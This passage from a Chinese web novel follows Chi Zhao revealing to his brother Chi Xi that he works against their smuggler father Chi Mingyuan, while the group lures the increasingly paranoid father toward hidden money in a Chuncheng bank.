宁蓝国的市场太小,还是华国好。 池明远露出笑容,“你挺懂事。” 陈志明说:“还得您愿意带我玩儿才行。” * 生意做成了,曼德拿到分红。 他就喜欢和池明远做生意,分红拿到手软,比他的工资高得多。 与池明远告别后,曼德慢悠悠回到临时住处。 他拿起话筒,本想拨通号码,想了想,还是放弃。 现在行事要小心谨慎。 敲门声忽然响起。 曼德奇怪地走过去。 真是怪了,他明明派人在门口把守,还会有人敲门? 曼德打开门。 与此同时,后背被匕首抵住。 有人在他耳边轻声说道:“要麻烦你走一趟了。” * 池希还在房间里等池明远的消息。 这几天他心跳格外快,总是不安,好像有大事要发生。 可对他来说,再大的事又能有多大? 桑白玉端着晚饭走进来,“听红英姐姐说,你又没吃饭。” 池希没什么胃口,“我不想吃,明天再说吧。” 桑白玉问:“因为你父亲吗?” 池希没作声。 桑白玉放下晚饭,在池希旁边坐下,“如果我们成功了,他可能会被抓起来,甚至会送命。” 池希咬住下唇,强忍着才没露馅。 但他所有情绪方面的变化,桑白玉都能感知到。 桑白玉说:“是挺矛盾的,他是你的亲人,对你很好,但又是坏人,池希,辛苦了。” 这一刹那,池希的泪水控制不住地喷涌而出。 他一边抹眼泪一边可怜巴巴地说:“我不是哭啊,我是男人,坚强的男人,绝对不是哭。” 桑白玉递给他手帕。 池希用手帕盖住眼睛,“我可是深明大义的,你们要抓他就抓吧,谁让他做错事了,而且……” 池希偷偷看了眼小灵通。 池明远到现在都没有给他回消息。 他放弃他了。 想到这一点,池希更加控制不住自己。 桑白玉轻声叹气,“走吧。” 池希话都说不清楚了,“读哪?” “是去哪儿!”桑白玉道,“你和他谈谈,他能安慰你。” 桑白玉找苏蓝移借来车钥匙。 池希虽然不知道要去哪里,但还是乖巧地跟着。 只是桑白玉开车着实有些猛,池希哭着哭着就没工夫哭了。 他扶着把手,紧张地盯着路面,“前面有车,后面也有车,左面来车了!当心!” 桑白玉:“……” 大晚上的哪来那么多车。 桑白玉安慰道:“你还不放心我吗?我七八岁就会开车了。” 池希怒吼,“骗子!你七八岁的时候家里买得起车吗?!” 他家才买得起!! 桑白玉:“……” 关乎性命时池希的脑子也挺好用的哦。 桑白玉把车开到一条胡同内。 从外观看,胡同很寻常,看不出异常。 起码池希看不出来。 桑白玉刚靠近,就嗅到了十几人的气息,分布在胡同的各个角落。 他们很懂得隐藏自己,只要不是她来,其他人都不会发现。 桑白玉镇定自若地下车,带着池希继续往前走。 池希抓着桑白玉的衣 袖,磕磕巴巴道:“小玉啊,你是不是太讨厌我了,想卖了我?我老实了,我改,以后我不缠着你了还不行,你留我一条命。” 桑白玉:“……” 她克制道:“我是想让你开心些。” 池希睁着童真的大眼睛问:“你真的认为这样我会开心吗??” 他怎么觉得他马上要被大卸八块了?! 桑白玉找到纸条上记下的地址。 门口无人把守,看起来也是普通的房子。 她没有敲门,直接推开门走了进去。 池希:“……” 小玉进别人家里都不敲门了。 看来是真的想把他灭口!! 他虽然是他爸的儿子,可他是站在她们这边的啊!! 池希举起手,“我、我也反对罪恶。” 桑白玉看傻子似的瞥了眼池希,将他推进屋里。 低矮的平房内部别有千秋。 进门是厨房,两边皆有卧室,装潢得十分温馨,而且电冰箱、空调齐全,还有电视机。 现在长峡的日子是好过了些,但也没那么好过,空调这东西还是蛮贵的,不是每家每户都用得起的。 这么一个破平房,家电居然还挺全? 桑白玉推开小屋的门,和里面的人打招呼,“我把他带过来了。” 她走过去,低声道:“他也蛮可怜的,帮着我们对付他爸爸,他们毕竟是父子。” 说完,桑白玉顿了两秒,又乖巧道:“你需要我安慰吗?” 毕竟池明远也是池昭的爸爸呢! 池昭:“……” 他摘下墨镜,瞥了桑白玉一眼,“不需要。” “那就好!” 池希一进来就看到池昭。 他这几日心慌得不行,终于看到亲人,心情别提有多激动。 可激动没一会儿,他又开始哭了,“你,你,你……” 桑白玉:“?” 看到亲哥也不至于激动成这样吧? 他们可是同父异母的。 池希:“为什么你比我先知道我哥的住址!!” 桑白玉:“……” 哦,冲着她来的。 桑白玉一本正经地解释:“你如果和池昭联系,会被池明远发现的,我就不同了,我可以用其他号码。” 池希恍然大悟,“是这样吗?” “我可是第一时间就把你带过来了,就怕你一个人太难过。” 池希十分感动,“还是小玉对我好!” 池昭:“……” 他这个弟弟,哪天被桑白玉卖了都不知道。 池昭看向池希。 他的眼睛今天不太舒服,看得不算清楚,不过他不需要看得太清楚,也能知道池希站在哪里,甚至能想象到池希现在的表情。 池希从不隐藏自己的情绪,他的一切都是外放的,包括对池昭的喜欢。 坦白说,池昭实在没办法喜欢上这个弟弟,尤其是看到他们一家三口相亲相爱的画面,他心里更是恨。 再坦白一步,在得知池明远竟然对池希的母亲下手时,池昭竟有几分幸灾乐祸。 池希终于能明白,这个男人是没有感情的,不管是对方是谁,他都不会手下留情。 不过幸灾乐祸是短暂的,池昭还是帮忙把孟简藏起来,然后把她安全送到娘家。 他和孟简的关系虽然一般,但他不希望孟简重蹈他母亲的覆辙。 桑白玉提出让他们见面时,池昭其实很犹豫。 他就算见了池希,也不知道该和他说些什么,他们不是感情要好的亲兄弟。 起码在池昭看来,他们的关系还不如他和边斌。 然而池希没有这些烦恼。 他紧张地跑到池昭身边,好像有池昭在,就有了主心骨。 池希问道:“哥,你们做的生意,真的很糟糕?真的是在走私违禁品?爸会被抓起来吗?” 池昭略一思忖,见池希已经是大人模样,没必要再隐瞒,便承认道:“是的。” “那你……”池希为难地看向桑白玉,压低声音问道,“你做的也是这种生意吗?小玉是不是要把你一起抓起来?你……你能不能别抵抗了,小玉很可怕的。” 他的语调自然而然地亲近池昭。 池昭原本的担忧都不存在了,只要他和池希见面,只要他不冷着脸,他们就能像正常的兄弟一样对话。 池昭忍不住多看了池希几眼。 他对池希的印象只有:贪玩、不学无术、笨。 不学无术还好说,笨这一点,实在无法忍受。 现在看来,池希是池家最聪明的。 不该问的就不问,该花的钱就花。 不必投入精力,被清算的时候也不会被连累太多,最多变成一个没有那么多钱的公子哥。 瘦死的骆驼比马大,池明远真的倒台了,池希的日子也不会差到哪里去。 池昭正色道:“你可能误会了。” 池希:“?” 池昭说:“我从头到尾,都不是池明远的人。” 第65章 池昭在发现母亲的离开另有隐情后,与池明远大吵一架。 池明远一口咬定姜玉玲是离家出走,还说姜玉玲在外面有男人,背叛了自己。 池昭当然不相信,他对母亲的印象虽然极其模糊,但也知道,池明远的嘴是信不得的。 他亲眼见到池明远带着身份不同的女人回家,与她们一夜缠绵。 后来池明远与孟简结婚,两人生下池希。 就算有了妻子,池明远也没断了外面那些女人,他身边总是围绕着不同的人。 最开始池昭以为这只是一个狗血的故事,姜玉玲与池明远在华国相恋,两人一起到宁蓝打拼,日子渐渐好转,姜玉玲却发现池明远在外面有其他女人,一气之下离家出走。 但当池昭长大一些,忍不住调查母亲的离去后,却发现一些不同寻常的迹象。 譬如,他发现自己联系不到母亲的家人。 姥姥、姥爷,舅舅、姨妈…… 通通联系不到。 再比如,他发现母亲的日记,上面模糊地写了一些内容,包括她敏锐的嗅觉。 池明远对姜玉玲的一切都不上心,他没有发现。 日记中还多次提到,她不能坐以待毙。 池昭这才意识到,姜玉玲的离开没那么简单。 他开始四处寻找母亲的下落。 池昭说:“我一直与华国军方联系,我的一举一动他们都知道,我配合他们阻止池明远想做的一些事,也不得不让池明远做成一部分事,可以说,池明远这些年做的事,那边都一清二楚。” 池希的嘴巴慢慢张大,收不回去了。 他哥是…… 卧底? 间谍?? 他是华国的人?! 池希呆愣地坐了下来,好半天没缓过劲儿来。 这几天发生的事情太多,他的脑容量都快不够用了。 池昭怎么会是华国的人呢? 桑白玉对此不太意外。 她和池昭虽然从未把话说明白,但她心里早就猜到了。 从始至终,池昭的表现都不像是普通的商人,而且他在她面前似乎没有隐瞒过。 池昭对池希说道:“池明远做的事情,必须受到法律的制裁,我也会继续寻找我母亲的下落。我希望你能保护好自己,也保护好你的母亲,不要让她也被池明远迫害。” “我妈……” 池昭瞥了眼桑白玉,“你总跟着她,不担心阿姨出事吗?阿姨和我虽然不算亲近,但这些年她也没薄待过我,你有的东西,她总会为我准备一份,我不希望她出事。” 池希怔怔地看着池昭。 良久,他才下定决心似的说道:“我知道了,哥,我去找我妈,我要保护好她。” 池昭看着池希真诚的双眼,心到底是软了一下。 他放轻声音,道:“以前我对这个家没有任何好感,连带着对你也没好感,我想事情结束后,我们可以重新认识彼此,我们是兄弟 ,现在是,将来也会是。” 池希的眼睛已经开始冒泡泡。 天知道他多想和池昭亲近,可这些年,他连和池昭说话都要鼓足勇气! 池希扑进池昭怀里,很没骨气地又哭了。 桑白玉站在窗前望天。 这个池希……池昭把他卖了,他还得帮池昭数钱! 池昭轻轻拍了拍池希的肩膀,“还有一件事,我必须告诉你,我们接下来的行动,马上就要开始。” 池希擦干眼泪,茫然地看着池昭。 池昭说:“他名下所有不合法的产业,都要取缔,你……你的首要任务是照顾好自己,还有,将来他的财产,也需要我们来处理。” * 陈志明的确是个做生意的料,他知道池明远想要什么,货还没见到影儿,他就先把钱送来了。 池明远看着堆在客厅的现金,嘴角扬起,一直以来的不安终于淡了些。 只要有钱在,没什么事是解决不了的。 即便是她来了。 就算她真的来了又如何?他能给她这辈子都花不光的钱,她何苦为了别人放弃荣华富贵和他作对? 池明远越想越轻松。 助理走了过来,汇报陈志明的最新动向。 池明远赞许道:“他还真是个会来事的,我们早就该和他合作,什么事都不会有。一开始是我选错了人,居然看上了华子,我是有眼无珠了。” 助理笑容谄媚,“这次的生意很顺利,您可以放心地回去了。” “是该回去了,”池明远道,“留在别的地方,我总是不安心,这几日睡觉都没睡好,你去收拾东西,我们准备回去吧。哦对了,书房里的东西,我自己收拾,你不用管。” 这是池明远的习惯,一切重要的文件他都不允许其他人经手。 池明远在心里计算着这次的生意能赚多少钱。 其实卖给陈志明的货物并不多,起码没达到池明远的预期。 但陈志明说得对,他们之间需要一个桥梁,需要纽带,陈志明可以做这个纽带。 最让池明远心动的是药物生意,那才是真正赚钱的。 只要吃了药,上了瘾,所有普通人都会来购买,这和武器不一样。 以前池昭总是拦着他做这些生意,如果没有池昭,他的家底恐怕还要再翻两倍。 现在终于能越过池昭把事情做成了。 池明远想到池昭,心中有些不安。 他问助理,“池昭最近几天老实吗?” 助理答道:“监视少爷的人说,他被您调走后没再离开,一直在忙那边的生意。” 池明远说:“他没动作就好,他如果在龙星岗,我办事都不放心。这孩子太犟,他怎么就不明白,我的这些家业,将来都是要留给他们的?” 助理道:“少爷还年轻。” “呵,我像他这么大的时候,已经知道做什么事才是对的了。” 池明远说完,便想去书房收拾他那些必须随身携带的文件。 有部分文件是和宁蓝国的大佬签的,必要时刻可以保命。 他还没走几步,别墅内的电话便响了起来。 助理走过去接起电话,听到话筒中传来的声音,大吃一惊,“是小少爷。” 池明远拧眉。 前几天池希给他打了电话,接通后又什么都不说,直接挂了。 池明远走到电话旁边,拿起话筒。 他下意识看向窗外,他要确认不是有人故意引诱他来接电话,然后取他的性命。 不过他显然是杞人忧天了。 话筒里传来池希的哭声,“爸,我再也不敢了,你来帮帮我,他们好可怕,他们要杀了我,这个人要杀了我!” 池明远拧眉,“是谁要杀你?你在哪儿?” 池希惊恐道:“我不知道,他们叫他华哥,我什么都不知道,我一睁眼就被带到这里了,你救救我!” 很快,换了个人接电话,话筒里传来熟悉的声音,“池总,我是真心和你做生意的,你为何非要和黑子做生意?你知不知道,这样会搞得我很被动。” 池明远不动声色道:“玉石店那几个,果然是你的人。” “谈不上,”华哥语调轻松,“不过你这个小儿子,是真的很蠢,天天追着女生跑,人家又不喜欢他,他还追着做什么?他和你真是一点儿都不像。” 池明远问:“你想要什么?” “我?我想要的东西你不知道吗?我当然是要武器!”华哥声音发了狠,“如果还想让你儿子活命,就停止和黑子的交易,我们重新谈,如果不想……那就随便你了!” 他说完便挂断电话。 助理紧张地看着池明远,“咱们是不是赶紧找人去把小少爷捞出来?” 池明远却慢慢坐到沙发上,拧眉深思,“好像不太对劲。” 助理愣住,“您说什么?” “这个华子,不太对劲,”池明远道,“如果真的只是想和我们做生意,最开始为什么会搞那么一出?我担心这是陷阱。” 助理说:“可是池希的确在他的手里,如果咱们不去,他真的动手杀人怎么办?这些人心狠手辣,什么事都做得出来。” 池明远缓缓摇头,“不能冒险。” 助理惊讶地看着池明远。 池希可是池明远最疼爱的儿子,什么叫不能冒险? 池明远已经下定决心,“事情就交给曼德处理吧,他会处理好的,我们按照原定计划撤走,陈志明那边要盯紧了,后续的生意还要靠他。” 助理一时无言。 饶是池明远给他的报酬丰厚,现在他也有些担忧。 担忧有朝一日,他会不会也被池明远放弃。 连池希都能成为弃子,更何况他们这些普通人。 池明远没再理会助理,他拿起话筒,给曼德拨去电话。 奇怪的是,电话一直没有接通。 池明远又给曼德的几个亲信打去电话,无一例外,全部无人接听。 池明远的心脏怦怦直跳。 出事了,一定是出事了,曼德不会玩儿失踪! 助理见状,忍不住说道:“您派人去找找曼德将军吧。” 池明远却瞪着眼睛说:“他背叛我们了?!” “……您说什么?” 池明远焦躁道:“他和谁是一伙儿的?他是不是背叛我了?我刚来龙星岗,他就搞失踪,难道他也想让我死?这些人都想让我死,都不是好人!池希……池希是故意的,他是自愿去长峡的!我早就和他说过不要离我太远,他非不听!他们都是想让我死!快,收拾东西,我们走!” 助理无言地看着池明远。 电话再一次响起。 池明远凝视着响个不停的座机,良久才看向助理。 助理便走过去接电话。 他脸色难看地看向池明远,“是少爷,他要和您通话。” 池明远犹豫道:“池昭?” 助理:“是的。” “他为何一定要与我通话?”池明远眉头越拧越紧,“他几乎不会给我打电话,他最近和曼德有联系吗?他们是不是联手了?我就知道曼德一直背着我在搞事情,他有很多次都表现出异常了!” 助理无奈道:“您要和少爷通话吗?” 池明远沉着脸走过去,拿起话筒。 池昭平静的声音传来,“你最近是不是得罪人了?” 池明远狐疑地听着,过了许久,确认没发现异常后才问:“为何这 样说?” 池昭已经习惯他的疑神疑鬼,冷静道:“有人来封了几个产业,是宁蓝国方面派人来的,你和曼德将军不是好友吗?我打不通他的电话,你去联系他,摆平这件事。他在宁蓝国的地位,这点儿小事对他来说不算什么。” 宁蓝国方面的人脉一直是曼德在打理。 池明远只把他当作自己的“打手”。 现在打手不在了,事情就不妙了。 池明远放下电话,更加疑心曼德的动机。 他不可能无缘无故失踪,是出什么事了? 不……池明远更愿意相信,他是想背叛自己。 他必须做最坏的打算。 曼德和池昭对他可能都有二心。 池明远迅速吩咐道:“你去查明白,到底有多少产业被查,查的人是谁。还有,尽快查mk曼德人在哪里,让他立刻来见我!” 池明远暂时没办法离开了。 他忧心忡忡地看着窗外。 附近都是他的人,是他亲自挑选出来的,可那又如何,连曼德都不靠谱。 池明远又把助理叫进来,“这些人最近与什么有联络,再去摸一摸,一旦有异样情况,立刻把人带走。” 助理微怔,“您是说外面的人?” 池明远不耐烦道:“还有其他人吗?” 助理:“……他们都是跟了您很多年的人,不会有问题的。” 池明远反问:“我和曼德难道不是多年的朋友?” “曼德将军可能遇到危险的事,没办法联系您,您该立刻去搭救才是……” 池明远冷笑,“也就你会相信,乖乖照我说的话去做,否则你也走人!” 助理:“……” 池明远没来得及回家。 不好的消息一个接一个传来,他名下一半产业都被封了。 池明远一直在打电话,找他曾经的关系。 但他在宁蓝国方面最大的关系就是曼德。 那些人无一例外都拒绝了他的请求,他们告诉他,证据很充分,没办法手下留情。 除了曼德,池明远也有结识其他人,他不可能把鸡蛋放在一个篮子里。 这些人倒是答应他帮忙,还主动提出和他保持做生意的关系,但是查明此事需要时间。 池明远心急如焚,根本等不了那么久。 他现在不关心他的产业,他更在乎曼德为什么失踪。 还有池昭,这些事他是否知情? 是巧合,还是他们合起伙来坑害他。 如果是在家里就罢了,怎么偏偏赶在他来龙星岗的时候。 池明远只要一想到长峡就在龙星岗隔壁就浑身不适。 好像已经有人举着镰刀砍向他。 傍晚,电话终于再次响起。 池明远迫不及待接起电话,打来电话的却不是他想要等的人。 助理快步走进来,“不好了,陈……” 他看向座机。 池明远奇怪地看了他一眼,注意力回到电话上。 陈志明的笑声传来,“池总,今天过得还顺利吗?” 池明远拧眉听着,并不开口说话。 这是他的一贯作风。 陈志明笑呵呵道:“您的货我们已经收到了,我真的很惊喜,你们居然把货物放在龙星岗,立刻就到了。不过也是我付钱太快,没办法,我这个人讲究诚信。” 池明远不动声色道:“怎么,是货物让你不满意?” “这倒没有,”陈志明说,“我只是想让一个人给你打个招呼。” 他和旁人说了几句话,话筒传来异响,接着便有人拿起话筒,对池明远说道:“池总,你怎么就不肯相信我?我是真心实意想和你做生意的。” 是朱安华的声音! 刹那间,池明远如坠深渊。 朱安华和陈志明是一伙的!他们根本就不是死对头! 不对,他们之间一定有仇恨,池明远事先调查过,但显然有利益将他们统一了! 池明远恍然意识到,朱安华不是玉石店背后的人。 他能和陈志明站在一起,说明他们背后有更强大的人调节他们! 是谁?! 池明远脑中冒出她的影子。 她来了。 也可能是华国的人来了。 他不是他们的对手。 池明远立刻放下电话,打回家里。 他的家是最安全的堡垒,他建造了炸弹也打不穿的避难所,避难所内的物资足够他生活几十年。 他得躲起来。 然而留在家的那些人却给了池明远一个不好的消息。 “最近几天总有人在附近转悠,但不确定对方的身份,我们没能抓到他们。” 果然是她来了。 池明远坐在办公桌前沉默。 助理不安地等待着。 良久,助理忍不住说道:“黑子那边可能出问题了,货……” 现在货还重要吗? 重要的是有人想要他的命! 助理问:“我们该怎么办?” 池明远再次看向窗外,“他们怎么样,最近有和不认识的人联系吗?” “他们绝对忠诚,请您放心。” 池明远起身,“家里也危险,现在看来,只能赌一把了,跟我走!” * 长峡街道上的轿车不多,池昭的车有点儿显眼。 他一直表现得很朴素,突然换上豪车,桑白玉都有些不适应。 池昭道:“别嫌弃了,我们必须尽快赶过去。” 桑白玉问:“你确定纸条代表的是这个意思?” 池昭不置可否,“我姥姥家就在那边。” 桑白玉抓着方小满上了车。 方小满现在不敢去见惠海铭,还是跟着桑白玉更安全些。 边斌和池希也在车上,两人现在都很安静。 桑白玉问:“你不是说没找到姥姥一家人吗?” “当时没找到,”池昭平静地叙述,“后来发现,他们都去世了。” “……去世?” “在同一天,同一时刻,全部死亡,至今未抓住凶手。” 桑白玉惊讶地看着池昭。 就连池希也忍不住回头看过来。 难怪池昭与他们都不亲近,他只要看到他们,心里就会充满仇恨吧? 池希含情脉脉,“哥……” 边斌手动把池希的头挪走,“请让我们活得舒服一些。” 过于肉麻了。 池昭说:“字条上的春宇368号,每个字代表一个含义,春城是我母亲的老家,也是我母亲和池明远一起生活过的地方。宇字是宇巷,是我姥姥家附近的一条小巷,那附近的368号是银行。” “池明远把银行的地址放进金属盒子里干嘛?打开盒子还怪麻烦的。” 池昭解释,“我想你们没有找到全部记录,应该会有银行存单之类的,我查到池明远名下的一部分财产不翼而飞,他还没到宁蓝时就已经攒了一笔不小的数目,还有很多小巧的古董,我想这些东西都存在那家银行里。” “池明远把存单藏了起来?还存了地址?他为什么要把地址写出来,我们找到怎么办?” 池昭摊手,“这一点我就不清楚了,不过他有记账的习惯,他会把每一笔账记得清清楚楚,这笔钱放在华国,他可能也不放心吧。我看过他的账本,的确会记录地址。” 桑白玉道:“最重要的是,他一定很在乎这笔钱,这笔钱肯定不是小数目。” 池昭说:“他在乎每一笔钱,不过从现在的情况看,银行里的东西,的确让他更在意。” “你们确定他会去银行取这笔钱?”方小满还是想不通,“他不去怎么办?还是说我们要一直等着?等到哪一天才是个头?” 边斌启动车子开始赶路。 春城离长峡有八百公里,开车过去也要几个小时,而且现在的路还没那么好走。 桑白玉瞥了眼池希,“池希,你得把小灵通交给我。” 池希乖乖地掏出小灵通。 池昭轻轻摇头。 他这弟弟,对桑白玉简直是言听计从。 将来肯定会吃亏。 桑白玉又对池昭说:“你的小灵通也拿来,你俩都姓池,我们得稍微提防点儿。” 池昭:“……” 在池希和方小满的注视下,池昭拿出一部小灵通。 桑白玉的手还是没收回去。 池昭:“……” 他又拿出另一台备用机。 桑白玉微笑,“如果让我发现你身上还有其他仪器,我真的会杀了你哦。” 池昭:“……” 他又摸出一个小型窃听器和录音设备,强调道:“这是我一直备着的,不是要窃 听我们谈话的内容,你们如果不相信,可以去问你大姐,让她联系军方。” 桑白玉说:“我相信,不过谁知道池明远会不会通过你们打探消息呢,万一你们头脑都不灵光,上当了,我们不就前功尽弃了?所以你们的小灵通都得交上来。” 池希无奈地看着亲哥。 以前他总觉得池昭无所不能,是他心目中的英雄。 现在看来,他亲哥很听桑白玉的话嘛。 唉,以后他可有苦头吃了。 兄弟俩的目光诡异地对到一起。 两人都怔住。 池希:“……” 池昭:“……” 他们怎么从对方的目光中看到了……同情?? 边斌、桑白玉、方小满轮流开车,他们没有休息的时间。 池希什么都没学,虽然能开车,开得却不好,没人放心他开夜车。 他颇有一种拖后腿的挫败感。 方小满安慰道:“你就别难过了,难过的应该是我,我到现在还是什么都不知道。” 池希说:“我也不知道啊。” “可这是应该的!”方小满的语气不容置疑,“你本来就笨!” 池希:“……” 桑白玉把小灵通收走了,不再担心池希被套话。 其实池昭被套话的可能性很低,但只收池希的小灵通显得他有点儿可怜,所以桑白玉顺便把池昭的小灵通收走了。 桑白玉解释道:“我原本和大姐商量,利用池希把池明远吸引过来。” 人总要有软肋,池希是池明远的亲儿子,应该有些希望吧? 可池明远根本不管池希。 他对长峡极为恐惧,宁可池希出事,也不会涉足长峡。 桑白玉一度被池明远搞得没了脾气,还好池昭及时传消息来,说池明远在华国还有财产。 “池明远不想管池希,但他视财如命,所以我们就想,能不能用这笔钱把他吸引过来。想让他过来取钱,就必须达成几个条件,首先,他的其他财产必须被限制,其次,他不能还有其他路可走。” 方小满认真听着。 “池明远现在最重要的生意就是和陈志明的,其实大姐他们早就和陈志明还有朱安华谈过了,他们两个可以说是都是大姐的人,不过都是为了利益,他们暂时休战,以后会怎么样,不好说。” 朱安华是明面上的那个人,池明远生性多疑,肯定会有所怀疑。 朱安华的暴露也是有意安排的,和朱安华联络的人是桑白玉。 所以他在逃跑时才能毫发无伤,这都是提前准备好的。 “没有朱安华,池明远能合作的对象就是陈志明,陈志明这个人不太靠谱,他是真的想牵线搭桥,做那些赚钱的生意,不过他也是个注重孝道的人,没办法放下自己的老母亲。陈志明答应和我们合作,我们也允诺了很多。” 方小满说:“所以这门生意原本就做不成?不管池明远怎么挑,挑中的都会是我们的人?” “是啊,”桑白玉说,“反正不合作就直接抓起来丢进监狱,他们的罪名可不少,他们还是很有眼力见的,合作非常积极。” 边斌:“……” 这还能不积极?? “这时候大姐以前收集的证据也派上用场了,虽然不能完全打击池明远的产业,但能一时困住他。”桑白玉说,“最最重要的人是曼德,曼德和池明远合作多年,而且曼德还是宁蓝方面的人,权力很大。幸好他不是个仔细的人,现在正在地下室里躺着呢。” 一天前,桑白玉找到惠海铭,希望她能放弃刺杀池明远。 惠海铭和苏蓝移原本已经做好同归于尽的准备,桑白玉建议他们去找曼德。 找曼德也是件危险的事,毕竟他地位还在。 不过曼德和池明远显然是两个极端,池明远极端小心,曼德极端自信。 桑白玉说:“总而言之,池明远现在谁都联系不到,他的性格一定会怀疑其中有诈,在这种关头,最有可能带着钱远走高飞。但是宁蓝那边的产业已经受限,要过一段时间才能结束调查,他能动的钱,就在华国,也是他一直惦记的钱。” 方小满问:“他回家怎么办?他家里应该也有钱吧。” “大姐和二哥已经过去了,”桑白玉叹气,“那就是最坏的打算了。” 池昭道:“不必担心,我早派了人过去,他的人一定汇报过,家附近有身份不明的可疑分子,他不敢回去。” 边斌小心翼翼问道:“难道他们这么了解池明远的性格是因为……” 桑白玉:“当然是池昭说的啦!他说池明远很怕死诶。” 边斌:“……” 池希偷偷看向池昭。 池昭感应到他的目光,说:“我一定要让他付出代价。” 池希低头,“我知道,都知道。” 他忍不住想,如果父亲和母亲现在仍然感情要好,他会如何选择。 可能还是不忍心让父亲离开吧。 池希有些庆幸。 幸好池明远和孟简闹翻了,让他的选择没那么艰难。 天蒙蒙亮,车终于开到春城宇巷368号。 经过一处废弃的宅子时,池昭低声说道:“资料里显示,这是我母亲的家。” 除了正在开车的边斌,醒着的只有桑白玉。 她看向车窗外还没来得及处理的废墟,又看向池昭。 “姜家在春城小有名气,”池昭不知是不是说给桑白玉听,“算是书香门第,我母亲也是科研人员。听说我舅舅喜欢收集古董,还有小姨,她是个医生。” 桑白玉拧眉。 这样的家庭配置放到今天,都算是大家族了。 而且是日子过得很不错的大家族。 “他们遇害时,家里值钱的东西都被翻走了,警方怀疑是盗贼随机作案。但唯独没见到我母亲的尸体,于是又开始怀疑我母亲。” 姜玉玲离开华国时,还是凶杀案的嫌疑人,只不过那会儿的检查比现在更松,案子还没传出去,姜玉玲已经离开。 至今为止,姜玉玲还是嫌疑人之一。 桑白玉问:“警方没有怀疑池明远吗?” 池昭冷笑道:“池明远根本没去姜家,一直以来,都是我母亲和家里人沟通。最开始姜家人听说我母亲找了个军人还很高兴,可慢慢地就不对劲了,我母亲开始频繁的夜不归宿,他们觉得这不正常,便开始阻止他们继续交往,可惜……” 桑白玉记得惠海铭也提起过姜玉玲。 惠海铭的战友被害,是因为一份重要资料。 桑白玉奇怪道:“夜不归宿?当年吗?姜家人都知道?” 池昭说:“似乎是我有一个舅舅也在部队里,而且职位很高,他应该和池明远见过面,比较了解他。或许是他看出池明远的本性了?” 桑白玉惊讶道:“你这个舅舅的职位有多高,有高到能拿到机密文件吗?” 池昭奇怪地看向桑白玉,“为什么这样问?” 桑白玉追问:“池明远有可能偷了你舅舅的文件吗?你好好想想。” 池昭拧眉。 这好像也不是完全不可能的。 他舅舅的职位相当高,肯定有机密文件经手。 池昭问:“你究竟想说什么?” 桑白玉压低声音,“我大姐和池明远曾经是战友,池明远偷了机密文件离开,我大姐和几个战友去追他,结果其他人都被池明远害死了,只有我大姐在他们的掩护下逃了出来。” 池昭怔住。 原来池明远接近姜玉玲……也是不怀好意。 姜玉玲被利用了。 池明远只是想接近舅舅?! 池昭一时无法相信。 母亲是故意的,还是也被骗了? 他心乱如麻,眼睛竟也开始模糊。 眼角痛得很,有些睁不开了。 桑白玉低声道:“你休息会儿,我盯着。” 池昭闭上眼睛,脑中一片混乱。 368号的银行依然在营业中。 这是家春城当地的银行,只有附近几个城市有。 池 昭提前联系过银行行长,拜托他们找出池明远曾经存放的东西。 可纸条上没有写明究竟存了什么,也不知道存在几号柜,银行不可能把每个柜子都打开让他们检查,他们只好先回车里等。 这一等就是一上午。 方小满出去买了午饭回来。 春城是个小城,物价极低。 她去饭店打包了几道菜,总共也没花多少钱。 倒是边斌挺心疼,“一直这样吃下去,我的工资都要吃完了。” “啊?”方小满说,“池昭就给你开这么点儿工资啊?” 边斌疑惑道:“你们很能赚钱吗?只是开玉石店,很赚钱?” 方小满扬眉,“啧,我们赚的钱,那可是……啧,我一个月的零花钱都比你一年的工资多。” 边斌:“……” 不干了,他也要去开玉石店! 边斌幽怨地看向池昭。 池昭:“……,回去再加一点儿。” 池希说:“你和她们比什么,有小玉在,玉石店怎么可能不赚钱,她最会挑赌石了,哪块石头里有好玉,她都知道。” 边斌心理平衡些了。 他殷勤地看向桑白玉,“你们店还需要人吗?我这个人很能干活,很适合你们哦。” 桑白玉:“能干活?” 边斌说:“而且我还很坏,绝对适合你们!” 桑白玉:“……” 坏人为什么适合他们?? 这一上午他们也没干等,池昭一直在接电话。 他的小灵通都在桑白玉手里,接电话还不太方便。 以至于桑白玉又一次接起电话时,对面直接笑了起来,“你是桑白玉吧?” 桑白玉很震惊。 她蹬着池昭,怀疑他泄密。 对方又说:“小惠和我提过你,你要保护好自己啊。” 桑白玉:“……” 池昭还真是他们的人。 可…… 等池昭挂断电话,桑白玉打量着池昭的身体,疑惑道:“就你这身体素质,也能去华国的部队?” 池昭:“……” 他的身体素质怎么了! 他打普通人绰绰有余好吗! …… 只不过他身边的都不是普通人而已。 桑白玉语重心长道:“你这样,我真担心你哪天死于非命,这样吧,你给我一百万,以后我来保护你。” 池希抢着举手,“我付钱,我愿意付钱!” 方小满塞给他一个大馒头,“吃你的吧,真当我们什么钱都愿意赚?” 池希委屈道:“小玉都愿意保护我哥。” 方小满:“你看你哥的长相,你再看看你,保护你我都心累。” 池希:“……” 他果然还是不适合这个世界。 桑白玉几人没能等到池明远。 海关那边也没有池明远过境的信息。 不过这不能证明池明远没进入华国境内。 他可以乔装打扮,也可以走其他路。 关键是,他究竟会不会来? * 池茗这几日一直心神不宁,尤其是见过吴元青后。 她竟然还梦到过吴元青一次,梦到吴元青到处找女儿。 类似的梦她做过无数遍,但情况是相反的,从前的梦里是她在找父亲。 她走丢的时候已经七岁,懂事了,什么都知道。 那天幼儿园的老师说要带她去找爸爸妈妈,然后她就出现在火车站。 一个陌生女人牵着她的手,告诉她爸爸妈妈就在火车上。 池茗从未坐过火车,见到这庞大陌生的家伙很是激动,信以为真。 她在火车上玩得很开心,没想到从此失去了爸爸妈妈。 来到长峡市的生活并不算好,那时还没有收容所。 一个女人带着几个孩子一起生活,每天都吃不饱。 女人说他们的粮票都是限量的,只能凑合着生活。 池茗每天晚上都躲在屋里哭,她会在地上写自己的名字。 每次被女人发现,女人都会痛骂她,还会动手打她。 女人告诉池茗,她只有这一个名字,她是池家人。 然后池茗就慢慢忘了自己的真实名字。 也忘了父母的长相。 现在想来,那时她已经七岁,不该忘记的。 大概是一遍又一遍的痛打让她不敢再记起。 池茗对父母是有怨恨的,恨他们为什么不去找她,为什么不能救她。 池茗又想起吴元青对她说的话。 很可笑,他居然告诉她,她的同伴都在利用她。 她怎么会不知道? 第66章 池茗起身去查看孩子们的状况。 他们的苦日子其实没持续多久,不知为何,后来的日子忽然好了,他们再也不提粮票不够的事。 池茗很确定,当时一定还是需要使用粮票的,但他们就是突然富有了。 他们搬到收容所,成为一家收养孩子的机构。 